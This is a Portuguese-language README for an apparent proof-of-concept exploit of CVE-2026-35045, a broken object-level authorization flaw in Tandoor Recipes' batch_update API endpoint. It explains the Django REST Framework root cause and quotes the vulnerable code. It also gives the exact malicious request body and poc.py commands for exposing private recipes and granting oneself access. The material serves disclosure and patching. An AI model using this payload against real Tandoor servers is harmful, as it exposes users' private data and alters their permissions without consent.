
Prova de conceito de exploit para CVE-2026-35045, uma vulnerabilidade de autorização quebrada em nível de objeto no Tandoor Recipes, demonstrando modificação não autorizada de receitas por meio do endpoint da API batch_update.
O endpoint PUT /api/recipe/batch_update/ no Tandoor Recipes v2.6.1 permite que qualquer usuário autenticado dentro de um Espaço modifique qualquer receita naquele Espaço — incluindo receitas privadas de outros usuários. Isso contorna completamente as verificações de autorização em nível de objeto aplicadas em todos os endpoints padrão de receita individual.
A causa raiz é uma lacuna comportamental do Django REST Framework: ações de lista com detail=False nunca invocam has_object_permission(), apenas has_permission(). O queryset filtra somente por space=request.space, sem verificação de created_by, private ou da lista shared. Um atacante pode forçar a exposição de receitas privadas, conceder a si mesmo acesso persistente, revogar permissões de outros usuários e adulterar metadados — tudo em uma única chamada de API que retorna HTTP 200 OK com corpo vazio.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Bypass de Autorização Através de Chave Controlada pelo Usuário |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Versão Afetada | Tandoor Recipes ≤ 2.6.1 |
| Fornecedor | TandoorRecipes/recipes |
| ID da Técnica | Nome | Relevância |
|---|---|---|
| T1078 | Contas Válidas | O atacante usa credenciais legítimas de baixo privilégio para contornar a autorização |
| T1565.001 | Manipulação de Dados Armazenados | Modificação de receitas privadas e ACLs de outros usuários |
detail=False Contorna Verificações de Permissão em Nível de ObjetoArquivo: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Sem verificação de created_by ou private
)
No Django REST Framework, ações registradas com detail=False são ações de lista. Elas nunca chamam get_object(), o que significa que check_object_permissions() e CustomRecipePermission.has_object_permission() nunca são invocadas. Apenas has_permission() é executada — que verifica a associação ao Espaço, não a propriedade da receita.
PUT /api/recipe/{id}/ segue o fluxo completo de permissões do DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ nega acesso se a receita for privada e não pertencer/for compartilhada com o solicitante
O endpoint batch_update pula silenciosamente toda essa cadeia.
RecipeBatchUpdateSerializer expõe os seguintes campos — graváveis em qualquer receita do Espaço:
| Campo | Efeito |
|---|---|
private | Alterna a visibilidade da receita |
shared_add / shared_remove / shared_set | Manipula a lista de controle de acesso |
keywords_add / keywords_remove / keywords_set | Altera os metadados da receita |
working_time / waiting_time | Modifica os dados de tempo da receita |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Atacante │ ─────────────────────────────────────→│ Servidor Tandoor│
│ (Usuário B)│ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Membro do Espaço)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NUNCA CHAMADA│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Sem verificação de propriedade
│
▼
┌────────────────┐
│ Receita ID 2 │
│ (de A) │
│ private=false ← corrigido
│ shared=[2] ← autoconcedido
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Atacante (B) │
│ agora tem │
│ acesso total │
│ à Receita ID 2 │
└────────────────┘
requestspip install requests
# Forçar exposição de uma receita privada e autoconceder acesso (padrão)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Apenas forçar exposição (definir private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Apenas autoconcessão (adicionar à lista shared, manter private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant